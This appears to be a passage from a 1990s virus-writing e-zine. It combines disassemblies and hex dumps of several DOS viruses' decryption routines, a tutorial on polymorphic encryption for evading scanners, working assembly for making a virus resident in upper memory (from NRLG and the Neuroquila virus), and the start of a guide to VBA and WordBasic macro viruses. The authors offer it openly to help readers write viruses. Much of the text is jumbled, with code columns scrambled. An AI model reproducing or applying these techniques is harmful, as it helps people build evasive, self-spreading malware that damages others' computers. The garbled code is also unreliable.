WORD PTR [SI],280B; ADD 280bh to SI SI,+02 ; Now ADD 2 CX ; SUBstract 1 from CX, ; which will decrypt it 010B ; Until CX=0 will be decrypted. Here you have it

When CX comes to 0 bytes, the virus from 116h, encrypted, with CX=1bfh

-u116 14CF:0116 14CF:0118 14CF:0119 14CF:011A 14CF:011C 14CF:011F 14CF:0121 14CF:0123 14CF:0125 14CF:0127 14CF:0128

DDD8 F5 2F 22F1 F662E5 F6FB E514 E6FC 8FFA D6 C2EB75




And now decrypted, with 0 in CX... its much more legible, huh? ;-) -u116 14CF:0116 14CF:0119 14CF:011A 14CF:011D 14CF:011F 14CF:0120 14CF:0121 14CF:0122 14CF:0123 14CF:0124 14CF:0125 14CF:0128

E80000 58 2D1901 8BF0 1E 06 0E 1F 0E 07 B805FF CD13


0119 AX AX,0119 SI,AX DS ES CS DS CS ES AX,FF05 13

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 6 VIRUS:ANTIMIT.COM infected by Anti-Mit virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. S Contains a routine to search for executable (.COM or .EXE) files. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. D Disk write access. The program writes to disk without using DOS. T Incorrect timestamp. Some viruses use this to mark infected files. J Suspicious jump construct. Entry point via chained or indirect jumps. This is unusual for normal software but common for viruses. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. ********************************************************************* 14CF:0100 E80500 -u108 14CF:0108 BE2A01 14CF:010B 8A260701 14CF:010F EB12 -u123 14CF:0123 8BFE 14CF:0125 B94F01 14CF:0128 EBE8 -u112 14CF:0112 AC CALL 0108 ; CALL to address 108h


SI,012A ; Let's get 12ah in SI AH,[0107] ; Get [107h] into AH 0123 ; Address 123h


DI,SI CX,014F 0112

; Copy SI into DI ; CX = 14fh bytes ; Jump to 112h


; LOaD a String of Bytes

14CF:0113 32C4 14CF:0115 AA 14CF:0116 E2FA


AL,AH 0112

; Store AH next to AL ; STOre a String of Bytes ; Decrypting...

Dump from 100h, after running over loop 112h, therefore decrypted: -d100 14CF:0100 14CF:0110 14CF:0120 14CF:0130 14CF:0140

E8 12 CD 78 69

05 90 21 21 2D

00 AC C3 20 4D

90 32 8B 24 49

EB C4 FE 11 54

4D AA B9 02 5D

90 E2 4F 2A 00

1B-BE FA-B4 01-EB 2E-43 46-8C

2A 19 E8 4F 72

01 CD 4D 4D 73

8A 21 49 00 D8

26 8A 54 5B 53

07 F0 20 41 74

01 B4 53 6E 72

EB 0E 75 74 8C

.....M...*..&... ...2.......!.... .!....O...MIT Su x! $..*.COM.[Ant i-MIT]

For you the curious, virus was like this when encrypted: -d100 14CF:0100 14CF:0110 14CF:0120 14CF:0130 14CF:0140

E8 12 CD 63 72

05 90 21 3A 36

00 AC C3 3B 56

90 32 8B 3F 52

EB C4 FE 0A 4F

4D AA B9 19 46

90 E2 4F 31 1B

1B-BE FA-B4 01-EB 35-58 5D-97

2A 19 E8 54 69

01 CD 56 56 68

8A 21 52 1B C3

26 8A 4F 40 48

07 F0 3B 5A 6F

01 B4 48 75 69

EB 0E 6E 6F 97

.....M...*..&... ...2.......!.... .!....O...VRO;Hn c:;?..15XTV.@Zuo r6VROF.].ih.Hoi.

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 7 VIRUS:ARARA.COM infected by Arara virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. G Garbage instructions. Contains code that seems to have no purpose other than encryption or avoiding recognition by virus scanners. @ Encountered instructions which are not likely to be generated by an assembler, but by some code generator like a polymorphic virus. ********************************************************************* -u 14CF:0100 E91500 14CF:0103 9E -u118 14CF:0118 90 14CF:0119 F8 14CF:011A BBC904 14CF:011D 87CB 14CF:011F F8 14CF:0120 BE2B01 14CF:0123 82048F 14CF:0126 90 14CF:0127 F5 14CF:0128 46 14CF:0129 E2F8 14CF:012B*59*



; Jump to address 118h


; CLear Carry flag BX,04C9 ; Get 4c9h in BX CX,BX ; XCHanGe BX for CX ; CLear Carry flag SI,012B ; Start of decryption BYTE PTR [SI],8F ; ADD 8f bytes to ; address 12bh (59h) ; CoMplement Carry flag SI ; INCrease by 1 SI 0123 ; Decrypting... CX

Virus was like this when encrypted... -d200 14CF:0200 14CF:0210 14CF:0220 14CF:0230

25 70 29 B2

8B 54 71 C3

2B CF B4 B2

F1 CB B1 C3

71 CA 2B B2

3E 29 8F CE

92 71 6E FC

7F-90 C8-B1 3E-92 F7-4C

C9 3E 7F 74

2C 92 90 F7

70 25 7F 51

6F AF 78 FA

F4 3E C7 F7

64 92 34 4C

70 CA CC 74

%.+.q>....,po.dp pT...)q..>.%.>.. )q..+.n>....x.4. ........Lt.Q..Lt

And now, decrypted, it's this way: -d 14CF:0200 14CF:0210 14CF:0220 14CF:0230

B4 FF B8 41

1A E3 00 52

BA 5E 43 41

80 5A 40 52

00 59 BA 41

CD B8 1E 5D

21 00 FD 8B

0E-1F 57-40 CD-21 86-DB

58 CD 0E 03

BB 21 1F 86

FF B4 0E E0

FE 3E 07 89

83 CD 56 86

F3 21 C3 DB

FF 59 5B 03

......!..X...... ..^ZY..W@.!.>.!Y ..C@....!....V.[ ARARA]..........

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 8 VIRUS:ATOMANT.COM the ATOMANT.UNK1 virus or variant ³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. A Suspicious Memory Allocation. The program uses a non-standard way to search for, and/or allocate memory. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. E Flexible Entry-point. The code seems to be designed to be linked on any location within an executable file. Common for viruses. L The program traps the loading of software. Might be a virus that intercepts program load to infect the software. U Undocumented interrupt/DOS call. The program might be just tricky but can also be a virus using a non-standard way to detect itself. Z EXE/COM determination. The program tries to check whether a file is a COM or EXE file. Viruses need to do this to infect a program. O Found code that can be used to overwrite/move a program in memory. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. 1 Found instructions which require a 80186 processor or above. ********************************************************************* 14CF:0100 E99F10 14CF:0103 0D0A4D -u11a2 14CF:11A2 14CF:11A3 14CF:11A6 14CF:11A7 14CF:11A8 14CF:11A9 14CF:11AA 14CF:11AD 14CF:11AF 14CF:11B2 14CF:11B5 14CF:11B6 14CF:11B8 14CF:11B9 14CF:11BB 14CF:11BC 14CF:11BE 14CF:11BF JMP OR 11A2 AX,4D0A ; Jump to 11a2h

55 E80000 5D 51 50 2E 8B46FA 8BF5 83C618 B94108 2E 3004 2E 0024 46 E2F7 A5 334F33



; ; ; ; ;

Save BP Call next address Restore BP (delta offset) Save CX Save AX ; ; ; ; Get [BP-6] into AX MOVe BP into SI ADD 18h to SI Number of bytes to decrypt

AX,[BP-06] SI,BP SI,+18 CX,0841 [SI],AL [SI],AH SI 11B5 CX,[BX+33]

; Get AL in [SI] ; ADD AH to [SI] ; INCrease SI by 1 ; Dcrypt from 11beh

Part of the decrypted text... 14CF:1850 14CF:1860 14CF:1870 14CF:1880 0D 73 72 63 0A 7A 81 73 4D 74 6C 65 43 A0 74 72 20 72 2C 82 48 20 20 6C 61 82 64 74 6D-6D 73-20 65-20 81-6B 65 50 6D 20 72 45 6F 61 20 50 73 20 72 53 74 50 61 49 20 45 70 20 6B 50 2D 93 69 53 ..MC Hammer rapszt.r .s PEPSI ., de most ki a PEPS

How was it like when encrypted? Like this :-) 14CF:1850 14CF:1860 14CF:1870 14CF:1880 B2 18 19 E8 B1 01 06 18 F2 1B 13 EA C8 27 1B 19 A7 19 D3 09 CF A7 A7 13 E6 09 EB 1B 12-12 18-A7 EA-A7 06-10 EA F7 12 A7 19 CA 14 E6 A7 F7 18 A7 19 F8 1B F7 E6 CE A7 CA 17 A7 10 F7 D2 38 EE F8 ................ ...'...........8 ................ ................

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 9 VIRUS:AUS-369B.COM Found the AUSSIE.PARASITE.369 virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. S Contains a routine to search for executable (.COM or .EXE) files. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. E Flexible Entry-point. The code seems to be designed to be linked on any location within an executable file. Common for viruses. ********************************************************************* -u 14CF:0100 E9D200 -u1d5 14CF:01D5 14CF:01D8 14CF:01DB 14CF:01DF 14CF:01E2 14CF:01E3 14CF:01E5 14CF:01E8 14CF:01EC 14CF:01EF 14CF:01F2 14CF:01F3



; Jump to 1d5h

B9CD00 BE2301 03360101 803401 46 E2FA BE3402 03360101 B93C00 803401 46 E2FA


CX,00CD ; No of bytes in CX SI,0123 ; Address 123h in SI SI,[0101] ; ADD [101h] to SI BYTE PTR [SI],01 ; MOVe 01 into [SI] SI ; INCrease SI by 1 01DF ; Decrypt from 1f6h... SI,0234 ; Address 234h in SI SI,[0101] ; ADD [101h] to SI CX,003C ; No of bytes to decrypt BYTE PTR [SI],01 ; MOVe 01 into SI SI ; INCrease SI by 1 01EF ; Decrypt from 306h

Decrypted text... -d280 14CF:0280 14CF:0290 14CF:02A0 14CF:02B0 14CF:02C0

89 4F 69 31 5D

D6 4D 74 5D B8

80 00 65 0D 00

3C 5B 20 5B 57

E3 41 76 62 CD

75 75 49 4C 21

3A 73 52 41 51

EB-9D 73-69 55-53 4D-45 52-B9

BA 65 20 20 CD

0C 20 20 6F 00

01 50 76 54 BE

24 61 2E 48 23

2A 72 20 45 01

2E 61 31 52 03

43 73 2E 53 36

...<.u:.....$*.C OM.[Aussie Paras ite vIRUS v. 1. 1].[bLAME oTHERS ]..W.!QR....#..6

And encrypted... -d280 14CF:0280 14CF:0290 14CF:02A0 14CF:02B0 14CF:02C0

88 4E 68 30 5C

D7 4C 75 5C B9

81 01 64 0C 00

3D 5A 21 5A 57

E2 40 77 63 CD

74 74 48 4D 21

3B 72 53 40 51

EA-9C 72-68 54-52 4C-44 52-B9

BB 64 21 21 CD

0D 21 21 6E 00

00 51 77 55 BE

25 60 2F 49 23

2B 73 21 44 01

2F 60 30 53 03

42 72 2F 52 36

...=.t;.....%+/B NL.Z@trrhd!Q`s`r hud!wHSTR!!w/!0/ 0\.ZcM@LD!nUIDSR \..W.!QR....#..6

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ³³³³³ 10 VIRUS:BETA0575.COM infected by Beta_Boys virus ³³³³³ ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²

********************************************************************* c No checksum / recovery information (Anti-Vir.Dat) available. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. E Flexible Entry-point. The code seems to be designed to be linked on any location within an executable file. Common for viruses. L The program traps the loading of software. Might be a virus that intercepts program load to infect the software. T Incorrect timestamp. Some viruses use this to mark infected files. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. ********************************************************************* -u100 14CF:0100 E90000 14CF:0103 E80100 -u107 14CF:0107 14CF:0108 14CF:010C 14CF:0110 14CF:0114 14CF:0115 14CF:0119 14CF:011B


0103 0107

; Jump to 103h, a call ; CALL address 107h

5D 81ED0301 8D9E2001 8D96A601 3E 8A8E0301 3BDA 7405


BP BP,0103 BX,[BP+0120] DX,[BP+01A6]

; ; ; ;

Restore BP (delta offset) SUBstract 103h to BP [BP+0120] to BX [BP+01a6] to DX

14CF:011D 14CF:011F 14CF:0120 14CF:0122 14CF:0123 14CF:0124

300F 43 EBF7 90 9F 8CAC139F


CL,[BP+0103] ; Encryption key to CL BX,DX ; Is BX=DX ? 0122 ; If they are virus is ; decrypted ; If not, continue [BX],CL ; Decrypt byte after byte BX ; INCrease BX by 1 0119 ; Jump to 119h to continue


Blade Runner/29A Los Angeles, 2019

Polymorphism *************************************************************************> An¡bal Lecter I know it may be a bit strong featuring both an encryption article with a polymorphism one in the same issue, but this one is dedicated to those of you who have a more advanced level. If you are still a bit confused with encryption, better forget this article and try with YAM. We'll very basically introduce polymorphic routines: design, construction and functioning. In this article, we'll study a 'pseudo-polymorphic' generator, this is: grounding on a basic routine, make more difficult the detection of the virus (as the routine's kernel isn't variated), depending on your aims of work. What's a PER (Polymorphic Encryption Routine)?: PERs are born aiming to avoid detection strings of bytes. schemes based on the uneffective

These systems are based on the idea that viruses always preserve a number of stable bytes in each generation (at least in the header, when encrypted). With PERs we are trying to avoid this unconvinience, always trying to variate that header, either: 1. Lexically: substituting directly some hex codes for others.

label : turns into:

2825 0005

sub add

[di],ah [di],al

In this case it would be enough to substract 2820h from the word at label:, although we should have thought that we should put the value to use in AH or AL; depending on the case, such code would change too. How? keep on reading }:-) 2. Sintactically: changing the order of the commands, but seeking the same result.



add xor xor add

[di], ah [di], ah [di], ah [di], ah

turns to:

This time we should keep in mind the order invert it correctly.

during encryption so as to

3. Morphologically: variating its external appearance, but its kernel, including garbage in between the code. In order to do this, we can take hand of the classics:


90h = nop f8h = clc

f9h fah fbh fch dch

= = = = =

stc cli sti cld std

Look out! these last two are dangerous if using registers SI, DI and CX at the same time, cause you'll have to bear it in mind whether you pretend the loop to increase or decrease :-P Of course, you can combine them; the pical bait files: easiest example is for the ty-

dw mov int

2000 dup (90fbh) ax,4c00h 21h

This way, we can avoid the virus from not infecting it by searching a a big number of the same bytes. For the decrypting header, we would have a routine with the XOR and a little algorithm which would add a series of 'non-code'. 4. Finally, combining the three preceeding ways as you like. Further on, we'll see a bit on language grammar, specially Conway notation ;-) It would be equally possible to see BNF, but as far as i see it, it is less clear.

From the three basic methods we've just seen for making possible the mutations, the one i see the easiest is the third one, as it just affects the code size and the 'innocent' instructions we include in it. The 2nd 1 is a bit more complex, because of having to change the order of the instructions though they're kept the same. Whereas the first one, it's necessary to know all of the opcodes and build a table (we have an example in MtE). I'll start with the third case; once you pick it up, you all will know enough so as to jump directly onto the second type as well as the third, or even combine them all, or whatever you think of. Let's see it with a direct example; let's take the decryption routine from the 13th July virus (original source code by Jordi Mas, a spanish ex-AVer dickhead which was known to have some of their viruses in the wild... and these viruses sucked as much as he did) }:-)

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 longitud equ fin-inicio_virus ; Defines the size inicio_virus: inicio: mov al,cs:hasta_final ; Decrypts the executable xor al,090h ; viral code mov si,offset hasta_final mov cx,longitud des_bl: xor byte ptr cs:[si],al inc si loop des_bl hasta_final db 90h ; Stores the random value ; it uses for the encryption ; .... ; routine ; 'Normal' viral code

; .... fin: ; End of the code - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

In this case, we can see how the string of bytes that starts at 'inicio' and goes until 'hasta_final' (keeping the encryption value outside) will always be the same in each infection; it will only have 255 different possibilities plus one more in which the code will be visible (00h). But these strings don't change: the virus is 100% detectable. It can be mutated, but must be done hand-helped, for instance, fitting into it some of these 'innocent' bytes in between the first and the second instruction. Nevertheless, this can be done by any lamer ;-) We are leet and can do it better, can't we? ;-) In this approach to polymorphism by the third method, we can notice three of its characteristics: 1. Routine's kernel doesn't change. 2. The size does. 3. Distance in bytes between main instructions also variate. How can we do it? let's see:

Grammar in Conway notation ************************** This kind of grammar, as some of you will yet know, is mostly used to describe programming language's structure; it is also valid for spoken language, and it is used in AI for recognizing speech, or at least that's what i think. What's pretended with it is to represent the morphological structure of language by means of a flow chart. Take as an example:

Ú*****®********®************®***********¿ ³ Ú***¯****end***´ start ³ ³ ³ ¯*Â**article***subject*Â*verb Å**¯**adverb***¯*********Ù ³ ³ ³ ³ Ú*mode*****´ ³ ³ ³ ³ ³ À*¯**pronoun***¯*****Ù À*****¯***manner*************Å*time*****´ ³ ³ À*place****Ù Let's see it in detail:

Ú***********®*****************®************¿ ³ Ú***¯****(end)****¯*****´ (start) ³ ³ ³ *¯**The**Â*virus**Â*infected*Å****always***¯****Ù Ú*massively***´ ³ ³ ³ ³ ³ À*ZhengxiÙ À****************************Å*fr.3h to 5h*´ ³ ³ À*some PCs****Ù

Experts on language will pardon me... this ain't a grammar lesson ;-)

If we oberve and analyze the diagram, we can see it the same with different words. Eg: "The virus always infected" "The virus infected massively" "The Zhengxi virus infected from 3h till 5h" But we're also allowed to 'toy' around. Eg:

is possible to say

"The virus infected always, always" "The Zhengxi virus infected massively from 3h till 5h some PCs" "The Zhengxi virus infected always some PCs, always from 3h till 5h, always massively" Can you get the 'hidden' intention of this explanation? ;-) Better then, cause next issue we'll put all of this into practice and better to have all the concepts assimilated.

* An¡bal *

Upper memory residency *************************************************************************> IntrusO Well, i'll try to describe some routines used by some viruses to copy themselves into upper memory... in order to do this, i'll try to describe what's that we call upper memory, type we're interested in, the MCB, etc. Then i'll try to trace a bit of Neuroquila, looking for the techniques it it uses for this kind of residency. Let's start :-)

Ú****************¿ ³ Upper Memory ³ À****************Ù DOS has something we call UMBs; the segment where they start is kept at offset 1fh at the information table about disk buffers whose direction is returned at ES:BX+12h by the get list of lists -52h-, but in order to be able to get onto upper memory blocks, these must be linked to conventional memory blocks; if not, we'll do it by function 58h (Neuroquila virus does this) ;-) The format of MCBs at UMBs is the following:

offset " " "

0 byte: 5ah if the last one and 4dh otherwise ******************************************************* 1 word: with the PID (Process ID) ******************************************************* 3 word: size of block in paragraphs ******************************************************* 8 8 bytes: 'UMB' if first block and SM if the last one *******************************************************

Then we also have this other memory we're also interested in... the XMS controller, which Neuroquila (how not!) does also use... the XMS controller (HIMEM.SYS loads it) adds functions to manage upper memory. In order to employ the XMS controller services we must check function 43h int 2fh (multiplex), checking for 80h in AL (what Neuroquila does). Once we know XMS is there, we must ask where to find it, with subfunction 10h, as XMS is not called by means of an int. It would be something like:

mov int mov mov

ax,4310h 2fh xms_seg,es xms_off,bx

; Ask address ; Save it

Where xms_** would be a struc type of:

xms_mgr xms_off xms_seg

label dw dw

dword 0 0

Then, when we would want to use the manager, we'd use function number at AH, and run a call xms_mgr.


³ Normal memory blocks ³ À***************************Ù (Erhmm... i think i sould have started here O:)) Memory blocks under DOS are bytes arrays, always multiples of 16. Therefore, a 16 bit word may keep the address of any part of the memory inside inside the meg an 8086 can handle. When a program is run, the system creates two blocks for itself: the program memory block, and the enviroment memory block. When a program is run, DOS searches the largest memory block available, and assigns it to the program. The first paragraph address is called PID; moreover, in the first 256 bytes of this area, DOS creates PSP. The environment block is the zone where variables are kept: PATH, SET, etc. Now let's talk about MCBs (Memory Control Blocks), as both the program block with the enviroment are following a header that contains the information about the assigned MCB. This way:

offset " " " "

0 byte: ID *************************************** 1 PID owner *************************************** 3 size *************************************** 5 to 7 reserved *************************************** 8 to 15 name of owner ***************************************

Usually, a virus would subtract its length from the size kept at offset 3 and then call int 21h function 4ah to free the memory, and get it again somewhere else with function 48h. After it, it would mark the MCB with an an 8 at offset 1 (PID). Why? Because system has this PID; this way, it 'tricks' DOS not to use that portion of memory; it's only left to rep movsb into the block.

Memory managing functions ************************* 48h - Allocate memory block Input: BX = size of block, in paragraphs Output: if CF = 1, AX = error code AX:0 = address of memory block BX = if there was an error, it contains the maximum size available 49h - Free memory block Input: ES = Memory block segment Output: if CF = 1 , AX = error code 4ah - Modify allocated memory blocks Input: ES = Memory block segment BX = new size of block, in paragraphs Output: if CF = 1 , AX = error code BX = if there was an error, it contains the maximum size available

This can be seen, for instance, in this routine i took from the NRLG virus creation tool. I think it's very easy to understand... hope no one turns up with the (c) cause i wouldnt mind to take the routine from somewhere else and this way i'm promoting it };)

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 push cs ; pop ax ;ax = my actual segment dec ax ;dec my segment for look my MCB mov es,ax ; mov bx,es:[3] ;read the #3 byte of my MCB =total used memory ;*************************************************************** push cs ; pop es ; sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus sub bx,17 + offset fin ;and 100H for the PSP total mov ah,4ah ;used memory int 21h ;put the new value to MCB ;*************************************************************** mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin mov ah,48h ; int 21h ;request the memory to fuck DOS! ;*************************************************************** dec ax ;ax=new segment mov es,ax ;ax-1= new segment MCB mov byte ptr es:[1],8 ;put '8' in the segment ;************************************************************** inc ax ; mov es,ax ;es = new segment lea si,[bp + offset start] ;si = start of virus mov di,100h ;di = 100H (psp position) mov cx,offset fin - start ;cx = lag of virus push cs ; pop ds ;ds = cs cld ;mov the code rep movsb ;ds:si >> es:di - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

This would be the way to copy into memory for a .COM infector. There are some viruses which are clumsier, to say it some way, like the 'famous' (i still can't understand why) Friday 13th (Jerusalem), which calls int 21h, function 31h in order to stay resident, having to execute itself again... it isn't worth to waste our time with that, and i'm sorry for those who use *that*, but i consider it bullshit... a virus oughts to be resident! Well, up to this point, someone roquila ;D here it is... :) will be pleading for some code from Neu-

try_to_move_virus: push ds push es mov ah,52h ; get list of Lists int 21h mov ds,word ptr es:[bx-2] ; First MCB segment mov si,10h cmp byte ptr [si-0ch],80h ; ¨block size > 80FFh paragraphs? mov al,0 ja DOS2_not_loaded_yet ; sure mov di,memory_size ; size it needs ; memory_size = (offset memory_top - offset start + 15) /16 call alloc_mem

Here, we'll have a deep look into this interesting routine ;) Ú*********************************¿

³ Memory allocation routine ³ À*********************************Ù alloc_mem: mov int cmp jnz ax,4300h 2fh al,80h no_xms_driver

; He asks for XMS

Curiously, we should check for the 2fh vector to be different from 0, coz that would mean that XMS isn't initialized for that DOS version and the system would hang; anyway, i've seen NO program to bear this in mind... can it be, anyway, a bug of Neuroquila? }:) Take it easy, i know some of you are heavy fans of this virus :DDD It is not a bug; Neuroquila first checks for the DOS version it's running under ;) - - - - - - - - - - - - - - - - - - - mov ax,4310h int 2fh mov word ptr xms_addr,bx mov word ptr xms_addr+2,es mov ah,10h mov dx,di call xms_addr dec ax jnz no_xms_driver mov bp,bx ret no_xms_driver: ; XMS isn't available, allocate upper memory, DOS 5.0 needed mov int push mov push mov int mov int mov push mov push mov int mov mov int xchg pop pop int pop pop int ax,5800h 21h ax ax,5801h ax bx,0080h 21h ax,5802h 21h ah,0 ax ax,5803h ax bl,1 21h ah,48h bx,di 21h bp,ax ax bx 21h ax bx 21h - - - - - - - - - - - - - - - - >8

; ; ; ; ; ; ; ;

What i said before ;) Allocate upper memory size in paragraphs take it as an int are we going? nope BP = UMB segment and returns

; get strategy ; low memory best fit ; puts allocation strategy ; BL=new strategy BH=00 (DOS 5+) ; low memory last fit ; get UMB state ; preserve it

; Connects UMB blocks

; Allocate memory, BX = para ; of memory ; BP = assigned segment

; Restore strategy

ret ; and returns - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

Well, well, well, now we continue with the main routine...

mov cmp jb dec mov mov mov jmp in_low_men:

dx,bp dh,0A0h in_low_mem bp ds,bp ax,di word ptr [si-0fh],8 move_virus

;-) let's remember what's in BP ; DX=0A000h ; low_mem? then go down!

; MCB belongs to system ; just copy it

Let's see several interesting properties of memory blocks in DOS 4.0 and 5.0, that Neuroquila will 'work' with ;) Well, since DOS 3.1, first memory block is a system data segment, which contains the device drivers in CONFIG.SYS. From DOS 4.0 and further on, this block is divided into smaller ones, each of which, preceeded by a MCB with the following structure:

offset 0:

Byte, 'D' 'E' 'I' 'F' 'X' 'C' 'B' 'L' 'S' 'T' -

type of segment: Device driver " " extension IFS driver (Installable File System) FILES = If FILES > 5, place where they are kept FCBS = place where kept BUFFERS = /X Expanded Memory buffers BUFFERS = buffers area LASTDRIVE = place where kept STACKS = system code and stack zone INSTALL = this order's area the subsegment starts (generally

offset 1:

Word, indicates where after it)

offset 3: offset 8:

Word, size of subsegment (paragraphs) 8 bytes: in types 'D' and 'I', name the driver of file that loaded

This way, since DOS 4.0 once found first MCB, we can jump it and take the next one. In DOS 5.0, system blocks have 'SC' (System Code) or 'SD' (System Data, which would be equal to those of the DOS 4.0) in their name. It is here where Neuroquila starts to check this MCB of the subblocks.

push cmp jz cmp jnz next_subMCB:

ds byte ptr [si],46h next_subMCB byte ptr [si],44h no_subMCB

; FILES= ? 'F' (in hex) ; DEVICE= ? 'D'

cmp jz cmp jz mov dec mov add mov jmp last_subMCB: lea sub mov no_subMCB: pop mov sub xchg add move_virus: mov push pop assume mov mov mov mov mov xor xor cld rep

byte ptr [si],4dh last_subMCB byte ptr [si],54h last_subMCB ax,word ptr [si+1] ax es,ax ax,word ptr [si+3] ds,ax next_subMCB

; next MCB? (5ah if last) ; INSTALL=? 'T' ; MCB owner

; More size for memory block ; and again!

ax,[bp+di] ax,es:[si-0fh] es:[si-0dh],ax

ds ax,ds bp,ax bp,ax ax,memory_size - 1

; First MCB segment

virus_segment,ds cs ds ds:code 2 virusMCB_size,ax es,dx al,(offset allready_moved-offset virus_moved_from_fixed_segment) byte ptr virus_moved_from_fixed_segment,al cx,offset memory_top si,si di,di movsb

Neuroquila has many more to give, but for now... i put this, just in case someone doesn't have the Neuroquila source code, published in VLAD#5 (it is high time!) }:D

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 already_moved: push ds ; push word ptr 0c801h db 68h virus_segment dw 0c801h pop ds ; mov word ptr [3],014eh db 0c7h,06h dw 3 virusMCB_size dw 014eh pop ds ;***************************************** DOS2_not_loaded_yet: pop es pop ds assume ds:nothing

do_not_move: mov byte ptr virus_moved_from_fixed_segment,al popa @@65: retf - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

That's all folks, hope my huge fingers and poor view, help some virus that would stay resident in upper memory... :)


to write

IntrusO ;)

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ VBA VIRUSES AND TROJANS @ @ by @ @ Leugim San/29A @ @ & @ @ MaD MoTHeR @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ (@) MaD MoTHeR TeaM - 1996

A macro is a program written in a certain language which is used usually for automatizing some processes inside an application. In this case, we will talk about Visual Basic for Applications (VBA) and WordBasic (WB), which are the languages used by Microsoft and all their programs; thus, Excel, Project and PowerPoint use VBA, and WinWord uses WB. From now we will speak about VBA as a general language, because it's the attempt to unify a macro language, common for all the Microsoft programs. Anyway, WordBasic has still some characteristics which make that, sometimes, we reffer specifically to it. There are some differences between the syntax of these two languages, but the coding structure is the same, so, if we don't make any specification, we'll speak about VBA, as the common Microsoft macro language. The VBA macros are called procedures; there are two kinds of procedures: - Sub procedures - Function procedures The sub procedures may be executed directly or being called from other macro. The syntax for these procedures is the following:

Sub <macro_name> -> write here the macro code <' the comments are preceded by an apostrophe End Sub Example: Sub Stupid_Greeting ' This macro opens a dialog box and displays a message MsgBox "Hello World!" End Sub

The function procedures (aka functions) return a value, which may be passed as a parameter for other VBA procedure. This is its syntax:

Function <function_name>(arguments) -> Instructions <' Commentaries End Function Example: Function AddAB(a,b) ' This adds the parameters a and b and returns the result ' in "AddAB" AddAB = a+b End Function

Of course, you can insert in a document as many macros as you need or want, there's no limit. Now that you've understood what a joint of macros is, we'll call it VBA module. This means that a VBA module is a joint of macros (sub and function procedures) which make up an Office document. The VBA language also works with objects; we can make references to other documents, graphics... inside the VBA modules. Objects have properties. For instance, the background color of an object is a property (aka attribute). Objects also have 'methods', which are the operations we can make with them (with the objects). VBA allows us to work with variables, and, as a structured programming language, it has the typical constructions of other languages:

þ 'For-next' bucles: Sub Counter Infect_Num=0 For Count=1 to 10 Infect_Num=Infect_Num+Count Next Count MsgBox "I reached the maximum infection number" End Sub

þ 'If-then' conditions: Sub Infect_Check If Infect_Num=0 Then MsgBox "File not infected" End Sub

þ 'With-end with' constructions (used for working perties of a certain object): Sub ChangeProperties With Selection .Font.Bold=True .Font.ColorIndex=3 ' Red color End With End Sub


several pro-

þ 'Select case-end select' constructions: Sub Check_Infection Select Case Infect_Num Case 0 MsgBox "File not infected" Case is > 0 MsgBox "File infected" Case is < 0 Infect_Num=0 End Case End Sub

A very useful tool for working with the VBA language is the debuggin window. With it we can trace code, make corrections, and so on... one debugging technique consists on using flags for halting for a moment the code

execution with a MsgBox after each instruction, so we can analyze the contents of certain variables and/or instructions (albeit the VBA debugger is able to set break points for halting the code execution, too). Something very important, apart of this, are the arguments of a function procedure; as we've just seen, the structure of a VBA procedure is this:

Function <name>(arguments) [...] End Function

These arguments may be constants, variables, or expressions. Anway, there are procedures which don't need any arguments:

Function Get_Name() Name=Application.UserName End Function

